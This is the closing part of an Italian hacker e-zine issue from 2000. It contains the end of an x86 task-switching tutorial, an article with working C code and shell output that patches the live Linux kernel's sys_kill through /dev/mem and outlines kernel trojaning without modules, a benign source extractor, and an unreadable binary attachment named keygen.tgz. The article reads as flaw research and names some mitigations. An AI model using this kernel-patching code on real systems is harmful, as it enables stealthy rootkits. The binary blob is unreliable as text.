+---------------+--+--+--+--+--------+--+----+--+-+-+-+--+----------------+ 31 16 15 0 +------------------------------------+------------------------------------+ | | | | Base Address 15:00 | Segment Limit 15:00 | | | | +------------------------------------+------------------------------------+ I campi base, limit, DPL, i flag G e P hanno funzioni simili a quelli dei data descriptor. Il campo "limit" deve avere una grandezza minima di 0x67 per un TSS a 32bit, un byte meno della grandezza minima di un TSS. Ecco invece come si presenta un Task-Gate Descriptor. 31 16 15 1413 12 11 8 7 0 +-------------------------------------+--+----+--+--------+----------------+ | | | D | | Type | | | Reserved | P| P | 0| | Reserved | | | | L| |1|1|0|0 | | +-------------------------------------+--+----+--+-+-+-+--+----------------+ 31 16 15 0 +------------------------------------+-------------------------------------+ | | | | TSS Segment Selector | Reserved | | | | +------------------------------------+-------------------------------------+ Il DPL e' come sempre il livello di privilegio del descrittore, che deve essere maggiore o uguale al CPL e all'RPL del gate selector. Caso #3 ^^^^^^^ Il caso #3 consiste semplicemente nel trasferimento diretto al TSS tramite un'istro tipo JMP/CALL che contenta come operando il TSS segment selector desiderato. In questo caso non vengono utilizzati alcun tipo di gate. In ogni caso, indipendentemente dal metodo utlizzato (uso di gate o trasferimento diretto) prima di effettuare un task switch il processore effettua le seguenti operazioni: 1- Ricava il TSS segment selector (dal task gate o dall'operando dell'istro in caso di switch diretto). 2- Controlla che il CPL del task vecchio e l'RPL del segment selector siano minori o uguali al DPL del TSS descriptor o del task gate. Le exception e int (a parte gli int n) possono permettere di switchare task senza questi check. 3- Controlla che il TSS descriptor sia segnato come presente e abbia un limite >= 0x67 4- Controlla se il nuovo task e' disponibile o occupato. 5- Controlla che i TSS vecchi e nuovi e i vari descrittori siano mappati in memoria. 6- Se e' stato utilizzato un JMP o IRET, viene cancellato il falg B, se si e' utilizzata una CALL, exception o int il flag B viene lasciato attivo. 7- Se si e' usato un IRET per lo switch viene cancellato il flag NT in un'immagine temporanea degli EFLAGS che viene salvata; in caso contrario non viene modificato nulla. 8- Salva il corrente (vecchio) task nel suo TSS. ...ORA AVVIENE LO SWITCH VERO E PROPRIO... 9- Se lo switch e' stato eseguito tramite una CALL, exc o int il processore setta il flag NT in un'immagine nel nuovo TSS. Se e' stato eseguito un IRET, il processore rimette a posto il flag NT. Se e' stato usato un JMP viene lasciato tutto cosi' com'e'. 10- Se il task switch e' stato eseguito tramite un IRET viene mantenuto acceso il flag B del nuovo TSS descriptor; in caso contrario, il flag viene acceso. 11- Viene settato il flag TS nell'immagine del CR0 nel nuovo TSS. 12- Viene caricato il task register col selettore e descrittore del nuovo TSS. 13- Viene caricato il nuovo stato dello stack dal proprio TSS. 14- Si inizia con l'esecuzione del nuovo task. -= CONSIDERAZIONI FINALI E SALUTI =- Bene direi proprio che per stavolta possa bastare, abbiamo fatto una carrellata niente male su segmentazione, paging e meccanismi di protezione nel trasferimento tra data segment e code segment diversi... quindi termino qui, anche perche' effettivamente il tute penso sia stato abbastanza palloso da leggere, anche se queste info (che, ripeto, sono state prese soprattutto dai manuali Intel detti all'inizio) ritengo che siano sempre molto interessanti da conoscere. Detto questo, i saluti finali. Prima di tutto un salutone va a syscalo, col quale ho iniziato questa "avventura" del racl che speriamo possa risultare positiva per molti programmatori e reverse engineer, e a LittleJohn, senza il quale sarebbe tutto molto piu' difficile e che si sta dando non poco da fare pure lui. Saluto anche tutti gli iscritti alla ml del racl, che speriamo inizi a pullulare di mail (no spam pero';) ) dopo le vacanze estive. Un grazie va a \sPIRIT\ che ci ha concesso l'host per il sito e un salutone anche a tutti quelli del s0ftpj e BFi per averci offerto uno spazio in questa e-zine. Saluti anche ai vari frequentatori di #crack-it e della uic, in particolare AndreaGeddon (che ha letto per primo questo tute ;) ), +MaLa, BlackDruid, [aLT255], TiN_MaN, Byte, xOA, Byte, phobos, Genius, Kill3xx, Sinoid, insomma tutti quelli con cui parlo piu' di frequente, tutti quelli che conosco e non conosco ma vorrei conoscere, tutti quelli che conoscero', tutti quelli che mi hanno dato e mi daranno consigli, tutti quelli a cui do e daro' consigli, e cosi' via. Byz, Ritz for * http://racl.immagika.org ritz@freemail.it racl@alfatechnologies.it "E alzando la testa vedrai che gli avvoltoi non ti mollano mai..." (from Fegato e Cuore, Punkreas) ============================================================================== ---------------------------------[ EOF 19/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-200100644000000000000000000003170407204353407011347 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 20 di 21 ]------------ ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ /DEV/MEM CR0CK -----[ ralph Questo art e' volto all'analisi di un particolare flaw presente nel kernel di alcuni Unix, in particolare prendero' in esame Linux su architettura i386, per quanto le conclusioni che se ne ricavano possano essere facilmente portate su altre architetture e possibilmente su altri OS. Premetto che l'intero lavoro di ricerca l'ho effettuato personalmente e prego il lettore di perdonare eventuali imprecisioni, ma (s)fortunatamente non disponevo di materiale analogo a quello che stavo realizzando per poter effettuate un confronto. Linux basa una porzione rilevante di codice sulla tipologia di gestione della memoria che ricava dall'utilizzo della sua architettura nativa, l'i386 che offre dei servizi per paginare il codice in modo da impedire visibilita', scrittura ed esecuzone di alcune porzioni di memoria, in particolare per fare in modo che un processo non esca dallo spazio che il kernel stesso gli assegna. Per fare cio' l'i386 mette a disposizione un sistema di gestione della memoria segmentato, lo spazio di indirizzamento logico puo' essere diviso in insiemi di sottospazi unidimensionali (per un massimo di 16383) denominati segmenti. Un puntatore completo in questo modello di memoria e' costituito da due parti: a) un selettore di segmento di 16 bits b) un offset a 32 bits che indirizza il puntatore all'interno del segmento stesso La dimensione del segmento e' variabile e questo fa si che si possa associare ad un segmento un particolare modulo, che seppur venga posizionato in una posizione di memoria non nota a priori conserva un offset costante, variando il selector. Il segmento e' l' unita' di protezione e i descriptors contengono le informazioni di protezione del segmento stesso, tra cui la writeabilita' e la readabilita'. Qui entrano in gioco i livelli di privilegio: alcuni livelli di privilegio hanno un accesso meno ristretto alle risorse e quindi permettono di creare delle sovrastrutture ai processi in esecuzione, potendone modificare lo status. I livelli di protezione a livello implementativo sono costituiti da 4 ring (dallo 0 al 3). I descriptor contengono un campo DPL, ossia il livello del privilegio del descriptor, i selector un RPL, ossia il livello di privilegio del richiedente l'indirizzamento, inoltre un registro interno del processore non accessibile direttamente denominato CPL contiene il ring corrente. Per indirizzare della memoria in un dato segmento il selettore deve essere posto in un registro di segmento dati (DS,ES,FS,GS,SS) e il processore quindi si occupa di valutarne l'accessibilita'. A ring 0 l'intero spazio di indirizzamento logico e' accessibile, a ring 1 solo quello del ring 1 stesso, del ring 2 e del ring 3, a ring 2 solo quello del ring 2 e e del ring 3 e a ring 3 solo quello del ring 3. In generale si puo' dire che il livello di privilegio garantisce la possibilita' di indirizzamento solo per segmenti con ring maggiore o al massimo uguale a quello del richiedente. Intel suggerisce un utilizzo pratico di questa caratteristica: 'Questa proprieta' dell' 80386 puo' essere usata, ad esempio, per impedire alle procedure applicative di leggere o modificare le tabelle del sistema operativo'. Per questo motivo normalmente un processo a livello utente non puo' modificare spazi del kernel. Focalizziamo ora l' attenzione sui sistemi *nix, in particolare qui descrivero' il sistema trattato da Andrew S. Tanenbaum e Albert S. Woodhull, quindi propriamete minix, su cui poi Linux si basa in alcuni aspetti. minix divide il sistema nel seguente modo: ring 0: nucleo ring 1: chiamate di sistema ring 2: spazio condiviso ring 3: programmi utente Questo impedisce ad un utente la modifica di aspetti caldi del sistema senza che questo lo permetta. Cambiamo ora prospettiva al problema della protezione della memoria. I privilegi ovviamente avvengono anche per l'hardware e questo fa si che il sistema debba offrire un'interfaccia per accedervi. Per fare cio' mette a disposizione file speciali (in /dev usualmente) che fanno da porta di comunicazione tra il kernel e lo userspace (a ring 3), ossia ci permettono l'accesso all'hardware interfacciandolo per noi, senza cosi' violare o entrare in conflitto con l'architettura. Per fare un esempio concreto /dev/hda sotto linux rappresenta l'hdd primary master e un qualsiasi programma abbia accesso in lettura a /dev/hda puo' tranquillamente leggere l'hdd senza preoccuparsi dei dettagli implementativi: qui nasce il flaw. Linux tra i vari device file che mette a disposizione ne fornisce uno che offre un accesso ambiguo ad una zona di memoria, mi riferisco a /dev/mem: crw-r----- 1 root kmem 1, 1 Jul 18 1994 /dev/mem Quel 'kmem' ben suggerisce quello che fa': mappa il selector 0x0c, che rappresenta lo spazio condiviso del kernel. Solitamente l'accesso a questo selector ci viene dato con l'uso di lkm, moduli del kernel, ma se il sistema non dispone di possibilita' di aggiungere moduli l'uso malizioso (neanche tanto a dire il vero) di questo device si rende interessante. Nella zona condivisa di cui cosi' ci garantiamo l'accesso sono situate alcune cose interessanti, per averne un'idea il file /usr/src/linux/System.map ne contiene un indice. A questo punto e' abbastanza ovvio come procedere, quindi quando notai questa discrepanza logica nel device /dev/mem provai a verificare le mie supposizioni tramite qualche piccolo esperimento. Mi proposi di far eseguire del codice custom ad una systemcall, in particolare alla kill() (SYS_kill, la sys_call_table[37] per la precisione) ma ovviamente bisognava tener presente che non potevo permettermi di fare un cross dei segmenti mescolando il selector 0x0c con quello del mio codice per l'uso di variabili. Innanzitutto bisognava localizzare la kill(): -[ root:/usr/src/linux ]- # grep sys_kill System.map c010e0cc T sys_kill e cosi' facendo ottengo il puntatore, completo di selector che ovviamente rimoddi essendo l'unica zona mappata del kernel la 0x0c, quindi sys_kill nel mio kernel e' situata in /dev/mem all'offset 0x10e0cc. Su altri sistemi potrebbe essere localizzato in altre posizioni, per rintracciarlo si possono usare anche altre tecniche oltre alla System.map: *) si puo' cercare il pattern in memoria della sys_call_table[] se questo mi e' noto *) si puo' cercare direttamente il pattern della sys_kill, conoscendone l'architettura sottostante ed il compilatore, anche con settaggi differenti del kernel dovrebbe corrispondere *) ... a questo punto necessitavo di un sistema per salvarmi da eventuali errori, dumpando su file un po' di sys_kill per restorarla in caso di necessita': #include #include int main() { FILE *dump, *mem; int i; unsigned char tmp; dump = fopen("sysdump","w"); if (dump==0) { printf("cannot open [ ./sysdump ]\n"); return -1; } mem = fopen("/dev/mem","r"); if (mem==0) { printf("cannot open [ /dev/mem ]\n"); return -1; } fseek(mem,0x10e0cc,SEEK_SET); for (i=0;i<1024;i++) { fread(&tmp,1,1,mem); fwrite(&tmp,1,1,dump); } return 0; } ...il che non e' il massimo dell' eleganza, ma il suo compito lo svolge. Quindi stesi anche un sistema che mi permettesse di ripristinare il dump: #include #include int main() { FILE *dump, *mem; int i; unsigned char tmp; dump = fopen("sysdump","r"); if (dump==0) { printf("cannot open [ ./sysdump ]\n"); return -1; } mem = fopen("/dev/mem","w"); if (mem==0) { printf("cannot open [ /dev/mem ]\n"); return -1; } fseek(mem,0x10e0cc,SEEK_SET); for (i=0;i<1024;i++) { fread(&tmp,1,1,dump); fwrite(&tmp,1,1,mem); } return 0; } Poco da dire anche su questo codice. A questo punto si trattava solo di provare a fargli fare qualcosa, in particolare far rendere un -3 alla sys_kill, corrispondente ad un ESRCH, ossia nel tentativo di killare un pid il risulatato e' che il dato pid pare non esistere. Per fare cio' ho ritenuto fosse abbastanza comodo usare un po' di assembler, per gestire le cose di persona ovviando a eventuali problemi che del codice C compilato avrebbe potuto introdurre, come puntatori a variabili che perdendo il selector indirizzavano in posizioni sbagliate in memoria. Il codice e' molto semplice, basta rendere in eax il codice dell'errore: .text .align 4 .globl func .type func,@function func: nop nop movl $-3, %eax ret .globl main .type main, @function main: ret Sintassi AT&T, come e' facile notare. Divisi la func per localizzarla piu' comodamente. Compilato il codice e dissassemblato, trovata la func questo ne e' il dump: 08048380 : 8048380: 90 nop 8048381: 90 nop 8048382: b8 fd ff ff ff movl $0xfffffffd,%eax 8048387: c3 ret Il paio di nop sono solo una misura precauzionale, se ne puo' fare tranquillamente a meno. A questo punto feci un piccolo programmino che si occupava di mettere nella sys_kill il dump: #include #include #include int main() { FILE* mem; unsigned long pos; unsigned char val[]={0x90,0x90,0xb8, 0xfd, 0xff, 0xff, 0xff, 0xc3}; mem=fopen("/dev/mem","w"); if (mem==NULL) { printf("Unable to open [ /dev/mem ]\n"); return -1; } pos=0x10e0cc; fseek(mem,pos,SEEK_SET); fseek(mem,pos,SEEK_SET); fwrite(&val[0],sizeof(val),1,mem); printf("[ Done ]\n"); return 0; } In val[] si puo' ben notare il dump del codice precedente. Questo e' quello che ottenni (./funk era il nome di quest'ultimo programmino nel mio hdd): -[ root:/var/data/tests ]- # cat & [2] 324 -[ root:/var/data/tests ]- # killall -9 cat [2]+ Killed cat -[ root:/var/data/tests ]- # cat & [2] 326 -[ root:/var/data/tests ]- # ./funk [ Done ] [2]+ Stopped cat -[ root:/var/data/tests ]- # killall -9 cat cat: no process killed -[ root:/var/data/tests ]- # ./restoresys -[ root:/var/data/tests ]- # killall -9 cat [2]+ Killed cat -[ root:/var/data/tests ]- # Quindi a tutti gli effetti faceva il suo dovere. A questo punto si possono ben immaginare le conseguenze di tale risultato, patching del kernel a runtime o usi maliziosi che permettono la trojanizzazione del kernel senza usare moduli e senza modificare la sys_call_table[], un buon punto in cui accorgersi di eventuali modifiche ad opera di lkm, senza considerare che problemi del tutto analoghi non esistono solo su Linux. Esistono due particolari da ovviare: a) variablili b) spazio Per il primo la cosa e' semplice, si consideri il seguente sorgente: jmp eod ; data here eod: ; code here In questo modo tra il jmp e l'eod ci assicuriamo spazio per le nostre variabili. Per avere piu' spazio la cosa e' altrettanto semplice: basta dividere il processo di patching in due parti: la prima volta ad allocare spazio, la seconda all'inserimento del codice. Per la prima kmalloc() chiamo dello spazio a nostro piacere e lo riempiamo, almeno l'inizio, con un pattern univoco, poi lo cerchiamo in /dev/mem, quindi sapendone la posizione ne ricostruiamo il puntatore; lo riempiamo con il nostro codice che emula anche la syscall originale, e nella sys_kill mettiamo un jmp (posizione del nostro codice nel descriptor 0x0c). Come al solito a questo punto quello che si puo' fare e' limitato solo dalla fantasia, si possono anche modificare funzioni che non sono system call, array vari in /dev/mem, zone di memoria contenenti informazioni calde etc. Questo e' quello che un utente malizioso potrebbe fare almeno. Dal punto di vista del sysadmin invece la cosa potrebbe significare l'upgrade parziale del kernel a runtime, senza necessita' di un reboot... il che non mi pare poco. Una soluzione contro eventuali attacchi potrebbe essere la rimozione delle permission di scrittura da /dev/mem, il che assicurerebbe l'impossibilita' di toccare zone cosi' 'calde' del sistema. [addon, tnx vecna e FuSyS] Il root eventualmente potrebbe anche controllare un fingerprint della syscall e della sys_call_table[], questo comporterebbe che per evitare che un programma esterno rilevi le differenze con il kernel originale bisognerebbe fargli leggere delle 'copie di backup', in sostanza una variazione dell'hide parziale di file. Il root potrebbe prevenire anche questo usando un modulo che legga direttamente in 0x0c....... i bytes per fare il fingerprint senza passare da /dev/mem ( e con un lkm potrebbe). ralph ============================================================================== ---------------------------------[ EOF 20/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-210100644000000000000000000002347607204353437011362 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 21 di 21 ]------------ ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ SNiP V.2 --[ Language: C - multi directory support - directory analysis - crc generator - statistics information <-| snip2/snip2.c |-> /* * Name: SNiP II * Date: Tue Aug 15 14:04:52 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #45: Sat Au i386 * * Snip for definition is coded during alcohol abuse ... This source can't have * a good style, logical parts or sense... I apologize... snip! ;) * */ #include #include #include #include #include #include #include #define BFIART "BFi" #define DIRNAME "bfisrc" #define BFISEP "<-| " #define BFIEND "<-X->" #define BFISEP_LEN strlen(BFISEP) #define BFIEND_LEN strlen(BFIEND) #define BUF_SIZE 1024 #ifndef S_ISDIR # ifdef S_IFDIR # define S_ISDIR(i) (((i) & S_IFMT) == S_IFDIR) # else # define S_ISDIR(i) (((i) & 0170000) == 0040000) # endif #endif #ifndef S_ISREG # ifdef S_IFREG # define S_ISREG(i) (((i) & S_IFMT) == S_IFREG) # else # define S_ISREG(i) (((i) & 0170000) == 0100000) # endif #endif int usage (char *cmd); void dir2file (char *dirname); void snip (char *filename); int checktype (char *name); void createsrc (FILE *in, FILE *out); int makedir (const char *dirname); unsigned long checkcrc (FILE *fp); extern char *optarg; struct { int st_snipped; int st_directory; } snipstat; int main(int narg, char **arg) { return ( (narg!=2) ? usage(arg[0]) : checktype(arg[1]) ); } int usage(char *cmd) { printf( "\nSNiPv2\n" "Usage: %s dir-or-file\n\n", cmd); return 0; } int checktype(char *name) { struct stat chk; bzero(&snipstat, sizeof snipstat); if (stat(name, &chk)) { printf("Hmm %s doesn't exist\n", name); exit(0); } if (S_ISDIR(chk.st_mode)) dir2file(name); if (S_ISREG(chk.st_mode)) snip(name); printf("\n%d snipped file\n", snipstat.st_snipped); printf("%d directory created\n", snipstat.st_directory); return 1; } void dir2file(char *dirname) { DIR *dp; struct dirent *de; if (!(dp=opendir(dirname))) { perror("[dir2file] opendir"); exit(0); } if (chdir(dirname) == -1) { perror("[dir2file] chdir1"); exit(0); } while ((de=readdir(dp))) { printf("[%s]: ", de->d_name); switch(de->d_type) { case DT_FIFO: case DT_BLK: case DT_LNK: case DT_DIR: case DT_SOCK: printf("skipping\n"); continue; } putchar('\n'); if (strstr(de->d_name, BFIART)) { snip(de->d_name); } else printf("\tnot found\n"); } closedir(dp); } void snip(char *filename) { FILE *in, *out; char buf[BUF_SIZE]; static int passed = 0; if (!passed) { makedir(DIRNAME); passed = 1; } if (!(in=fopen(filename,"r"))) { perror("[snip] fopen()"); exit(0); } chdir(DIRNAME); while (fgets(buf, BUF_SIZE, in)) { if (!strncmp(buf, BFISEP, BFISEP_LEN)) { char *ptr; buf[strlen(buf) - 1] = 0; /* * create directories like in extract */ if ((ptr = strchr(buf + BFISEP_LEN, '/'))) { while(ptr) { *ptr = 0; if(makedir(buf + BFISEP_LEN) != -1) snipstat.st_directory++; *ptr = '/'; ptr = strchr(ptr + 1, '/'); } } ptr = strchr(buf + BFISEP_LEN, ' '); /* * create file */ *ptr = 0; if (!(out = fopen(buf + BFISEP_LEN, "wb+"))) { perror("[snip] fopen(outfile)\n"); exit(0); } printf("\tfilename [%s] ", buf + BFISEP_LEN); createsrc(in, out); *ptr = ' '; /* * check crc */ if ((ptr = strstr(ptr, "crc32: "))) { char *ptr_crc; u_long crc, gencrc; ptr += strlen("crc32: "); if ((ptr_crc = strchr(ptr, ' '))) { *ptr_crc = 0; crc = strtoul(ptr, NULL, 10); gencrc = checkcrc(out); if(crc == gencrc) printf(" CRC32 ok"); else printf(" CRC32 error: %lu", gencrc); *ptr_crc = ' '; } else { printf("no end of crc in snip hdr\n"); exit(0); } } putchar('\n'); fclose(out); } } chdir(".."); fclose(in); } void createsrc(FILE *in, FILE *out) { char buf[BUF_SIZE]; snipstat.st_snipped++; while (fgets(buf, BUF_SIZE, in) && strncmp(buf, BFIEND, BFIEND_LEN)) fprintf(out, "%s", buf); } int makedir(const char *dirname) { return (mkdir(dirname, 0755)); } static const u_int32_t crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; unsigned long checkcrc(FILE *fp) { register unsigned long crc; int c; crc = 0xFFFFFFFF; if (fseek(fp, 0, SEEK_SET) == -1) { perror("fseek"); exit(0); } while( (c = getc(fp)) != EOF ) crc = ((crc >> 8) & 0x00FFFFFF) ^ crctab[(crc ^ c) & 0xFF]; return (crc ^ 0xFFFFFFFF); } <-X-> --[ Perl Script - multidirectory support - directory analysis <-| snip2/snip2.pl |-> #!/usr/bin/perl # # S0FTPj Y2k - Tue Aug 15 12:48:53 2000 # # SNiP II - an extractor for Butchered From Inside # # $bfidir = "bfisrc"; sub create_file { local($file) = @_; $found = 0; open(IN_FILE, $file) || die "Unable to open $file\n"; chdir($bfidir); while () { if (/^\<-\|/) { $snipfile = substr($_, 4); $snipfile = substr($snipfile,0,index($snipfile, ' ')); @dirs = split('/',$snipfile); $ndir = 1; while ($dirs[$ndir]) { mkdir($dirs[0], 0755); $dirs[0] .= '/'.$dirs[$ndir++]; } print "\t$snipfile\n"; open(OUT_FILE, ">$snipfile"); $found = 1; next; } if (/^\<-X->/) { close(OUT_FILE); $found = 0; } print OUT_FILE $_ if($found); } close(IN_FILE); chdir(".."); return 0; } if (!$ARGV[0]) { print "Usage: snip2 filename-or-directory\n"; exit(0); } $mode = (stat($ARGV[0]))[2]; if (($mode & 0170000) == 0040000) { opendir(DIR, $ARGV[0]) || die "Unable to open directory\n"; chdir($ARGV[0]); mkdir($bfidir, 0755); while ($file = readdir(DIR)) { print "$file\n"; &create_file($file); } closedir(DIR); chdir(".."); } else { mkdir($bfidir, 0755); &create_file($ARGV[0]); } <-X-> ============================================================================== ---------------------------------[ EOF 21/21 ]-------------------------------- ============================================================================== BFi-9/attachment/0040755000000000000000000000000007204353734012525 5ustar rootrootBFi-9/attachment/keygen.tgz0100644000000000000000000000330407204353563014532 0ustar rootrootK9W]lTEkrniTDmp)²t/{Wf(.j@C D4} bH(C4m$"͝`{6gΜ9ߜ9ϾnNiqO) ՆÚ4-\]dH$Ҵp$5T][+нC9+45vgdscB7>nDֻW MD%|ur)._%FLe)/l60}P 59|p?H֠k.–Ԏ--t{UN{[ *#5= d> <\"Kf16+ }D$ +Jl*mx:iec!!ڙlj52;ݲМ["I1Hjx*f&gKC+cUzH}|(Wߧ0%urnP2)п ID)dS(`H ]4p˾P3OSJuދ[o|'DGx/T\DIP3YXUp&mCRlM.q9ks^s&SsԹ i8tP\PuJ2So:Wg.]\zT\L\zjqosuyIFS{^=830Ršu0痈W}]z>NSw_nd]s)?e ga`5S:j\6هQvo8& e_k;e{: V#-+g!+Cn\?Qc`9Yi旜 Pq|˶olF7ϰtuB!\]Gq}˶Q2, #_R}ݹ݀,Wbx%| tQZ1$r(y/swM4Gs:Z6p!~OwL1yW;=MσɪCjl}=g1e h4K9? m-.Ng\y] nk/xpk6ܚw H  GL+[mL с\e/~iv SoO?j}sgsevQ?i͜9w 9:~|f9uޫʏ_Z͋ۏj- s%''s rFv!W.4˝j9\_Uf?h^4;osٜz*GGGTo`lڪZlך3EQ2uf ;QÆ3|SG!?~!=B/!W+=b!9p&As~gzu 4 L_xfǃ_+o!_ER(HҙE:ؤ;22yX,*Z4mZ<"mq>{7%~l_/U+''dO*:UaZ`Ps=(|zVZH1iO$FȢm,if|>4Dّ-BpoȐطd!f; TFQCN׵=?:66Y==&2@UK#V▟c͋f˭acj#M`4 yRw6 #i3xw-`&dH) Z9[5Xؓply]F(X BXt=VB\F.k!>CIp-D{9lGk!zݖcU%qmFq }UFԣο^ǻ9tY.,p߇@q׆d6X2cYkFP:Z-EyT_E .hO$s0)1'$}*ڣ;Z08?bd9mơD H\ϴI>,WxH\&2gJ@BhVK(FQ3~Yg Ln# :ID+c~fE Y a 5 $C "f̳Ň Cs+":ѐi8&9!R=ؑU_'s&pt_+ob(DʝZ~aYWTXٸECk".,lun 5v,{/R7#FurҲ[h=`s/\QZp/Ϲ%yF{8RJ 1$ s{/o3 p 8#), D s $MP_?MOqQF\%Bpq@l!!E , /T٣'=xvK /I5lCP~RZZHd^`~֠A 4~bldgh\qՇnB<5t7rfhъىN^RY.dtu\;SgI2w_^7M=1}eiOe 6ʁ!(@Vj8Hp ߨswfx((:˗:E$=<1 xa@ȩKGg5 |ka Ym]ny)01yGϸhE)/SUB,D8mL)d3~MӅt:^cdTGtR>VO壣KtpӞC4*:v(UqV*m< zM_sd_<BcӁOx =?g<j|(xD3$f5m!߉oب>sBN'}(Y1C_[O` ` (ie5Ko^uå]T1 ˋHaqɔ SUY<6'n?.E6Y&TWzE*Rr2GOga$E0<&JԆAR Eal{%Y gγM+ Br؄zAhR {hŨ(?w¬O<(WS:"&V!#" fdN!vcfa$nLqa+_2;;,¦=1Yu|lGJ8!G%:Ur؉e ɗaЄPk-|TҥƕZo#xS#єFQQ!:J'jwQ;ҡB[آd-6Y{_oQ4;Rsgkd/ }Y[Biҡ=ai}D86' 5j$TUA/6 ˇ[R\Kh_}E9Fvifi^h^]]4:ݔ*½=G3tn/no1,qǚ>9g%9ܜFQd%\wnMo\u4=|T|S>>{|BJHRNK)A\J|nbi~ByON(֎aFzhA_uxOHQ]T7a^' :ؔ%BUX7eӮ ~KH'ISmE[_C.^~I6/`s[Z.Azf aYua'_ga5$PғtK|RX58_dzhsfZ^%'gPyߎl RbD1Jȓp _"zɿ$3,y|0"J Ŧ -S%7-D0 T}=؞yɶi&\/ejYJϔw,;  kK8o,Z(Re"'Hcmax"Oǰ=zc/FOD̥rmt bR`N [LUQ"T[NGt29yvo;&살?%vspIj-]e!a]SC53yZQ~@yފcZ B|B< mD'͛2WHwHNTA 9e} 